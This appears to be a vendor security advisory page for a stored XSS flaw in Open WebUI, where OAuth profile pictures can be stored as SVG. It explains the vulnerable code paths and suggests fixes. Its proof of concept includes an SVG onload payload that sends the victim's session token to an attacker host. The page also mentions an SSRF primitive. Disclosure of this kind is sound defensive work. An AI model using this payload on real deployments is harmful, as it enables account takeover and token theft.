GHSA-3wgj-c2hg-vm6q
HIGHGHSA-3wgj-c2hg-vm6q is a high-severity (CVSS 7.3) Improper Input Validation vulnerability in open-webui. O3 Security confirms whether GHSA-3wgj-c2hg-vm6q is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Open WebUI vulnerable to stored XSS via OAuth picture claim stored as SVG data URI in profile_image_url
Exploitation Status
No confirmed exploitation observed yet
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-3wgj-c2hg-vm6q.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-3wgj-c2hg-vm6q plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
open-webuiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
When a user signs in via OAuth, Open WebUI fetches the picture claim URL, infers a MIME type from the URL extension via mimetypes.guess_type, and stores data:<mime>;base64,... as the user's profile image. The OAuth code path does not go through the validate_profile_image_url Pydantic validator that normally restricts profile images to PNG/JPEG/GIF/WebP. A .svg URL in the picture claim lands in the database as data:image/svg+xml;base64,....
The profile image endpoint GET /api/v1/users/{id}/profile/image returns the stored data URI with the attacker-controlled MIME type as Content-Type and Content-Disposition: inline. Security headers (CSP, X-Content-Type-Options) are env-gated and not set by default. An authenticated user navigating directly to that URL gets the SVG as a top-level document, executing <script>/onload in the same origin and able to read localStorage.token → account takeover.
Same class of trust-boundary error as CVE-2025-64496 (trust of untrusted model servers) and CVE-2025-64495 (rich-text XSS). Different sink, different code path.
Details
1. MIME inferred from URL extension, not Content-Type
backend/open_webui/utils/oauth.py:1336-1345 — _process_picture_url:
response = await client.get(picture_url, ...)
if response.status_code == 200:
picture = response.content
base64_encoded_picture = base64.b64encode(picture).decode("utf-8")
guessed_mime_type = mimetypes.guess_type(picture_url)[0]
if guessed_mime_type is None:
guessed_mime_type = "image/jpeg"
return f"data:{guessed_mime_type};base64,{base64_encoded_picture}"
No MIME allowlist. The upstream Content-Type is ignored. For a URL ending in .svg, mimetypes.guess_type returns image/svg+xml.
2. OAuth path bypasses the profile-image validator
backend/open_webui/utils/validate.py:10-36 defines validate_profile_image_url, which only accepts /user.png, /user-mono.png, and data:image/{png,jpeg,gif,webp};base64,....
This validator is wired into Pydantic form models (SignupForm, UpdateProfileForm, UserUpdateForm), but the OAuth flow at oauth.py:1536-1540 (existing-user login) and oauth.py:1556-1574 (new-user signup) writes via Users.update_user_profile_image_url_by_id and Auths.insert_new_auth, both of which call SQLAlchemy directly (models/users.py:575-588) without going through any Pydantic model. The SVG data URI lands in the DB unchallenged.
3. Endpoint serves attacker-controlled MIME with inline disposition
backend/open_webui/routers/users.py:504-528 — get_user_profile_image_by_id:
header, encoded = image.split(",", 1)
media_type = header.split(";")[0].lstrip("data:") # "image/svg+xml"
data = base64.b64decode(encoded)
return StreamingResponse(
iter([data]),
media_type=media_type,
headers={"Content-Disposition": "inline"},
)
No MIME whitelist. The route requires get_verified_user — any authenticated user reaches it.
4. No default CSP / nosniff
backend/open_webui/utils/security_headers.py:16-61 populates headers only when the operator sets the corresponding env var. The default deployment returns none of these. Browsers render a top-level image/svg+xml response as an XML document and execute embedded script.
PoC
Prerequisites: operator has OAuth signup enabled (ENABLE_OAUTH_SIGNUP=true) or OAuth login with picture sync (OAUTH_UPDATE_PICTURE_ON_LOGIN=true). The attacker has a valid identity on the configured IdP and can set their profile picture URL.
- Attacker hosts a malicious SVG at
https://attacker.example/p.svg:
<svg xmlns="http://www.w3.org/2000/svg"
onload="fetch('https://attacker.example/x?c='+encodeURIComponent(localStorage.getItem('token')))" />
-
Attacker sets their IdP profile picture to that URL and signs in to Open WebUI via OAuth. Signup (or login with picture sync) stores
data:image/svg+xml;base64,...in the attacker'sprofile_image_url. -
Attacker shares a link to their own profile image with a victim in a chat DM or channel:
https://target.example/api/v1/users/<attacker-user-id>/profile/image
- The authenticated victim clicks the link. The browser receives
Content-Type: image/svg+xmlwithContent-Disposition: inline, renders the SVG as a top-level document, firesonload, and exfiltrates the victim's JWT. Attacker uses the JWT to take over the victim's account.
Impact
- Account takeover of any authenticated user who opens the crafted URL.
- Post-takeover: access to the victim's chats, API keys stored in their settings, and — if the victim has
workspace.toolspermission — RCE via installed tools (per CVE-2025-64496 analysis). - The same
_process_picture_urlfunction has no SSRF allowlist; a secondary primitive is to point thepictureclaim at an internal URL (metadata service, internal admin panel) and read the response bytes via the profile image endpoint.
Suggested fix
-
In
_process_picture_url(utils/oauth.py:1336-1345): reject any MIME outside{image/png, image/jpeg, image/gif, image/webp}. Use the upstreamContent-Typeresponse header, not the URL extension. Also add an SSRF allowlist or at minimum block RFC1918 / link-local / loopback targets. -
In
get_user_profile_image_by_id(routers/users.py:504-528): enforce a MIME whitelist before buildingStreamingResponse. This is the defense-in-depth layer that should have caught the bypass. -
Apply
validate_profile_image_urlat the model/storage layer (Users.update_user_profile_image_url_by_id), not only at the Pydantic form layer. All write paths to the profile image column should go through the same validator. -
Set
X-Content-Type-Options: nosniffand a default CSP unless the operator explicitly disables them.
References
backend/open_webui/utils/oauth.py:1318-1351— MIME guess + fetchbackend/open_webui/utils/oauth.py:1536-1574— OAuth write pathbackend/open_webui/utils/validate.py:10-36— validator (bypassed)backend/open_webui/models/users.py:575-588— DB writebackend/open_webui/routers/users.py:504-528— serving endpointbackend/open_webui/utils/security_headers.py:16-61— env-gated headers- CVE-2025-64496 — precedent: trust boundary error (same class)
- CVE-2025-64495 — precedent: rich-text XSS (same class)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | open-webui | all versions | 0.9.5 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update open-webui to 0.9.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3wgj-c2hg-vm6q is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-3wgj-c2hg-vm6q is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-3wgj-c2hg-vm6q. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-3wgj-c2hg-vm6q in your dependencies?
O3 detects GHSA-3wgj-c2hg-vm6q across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.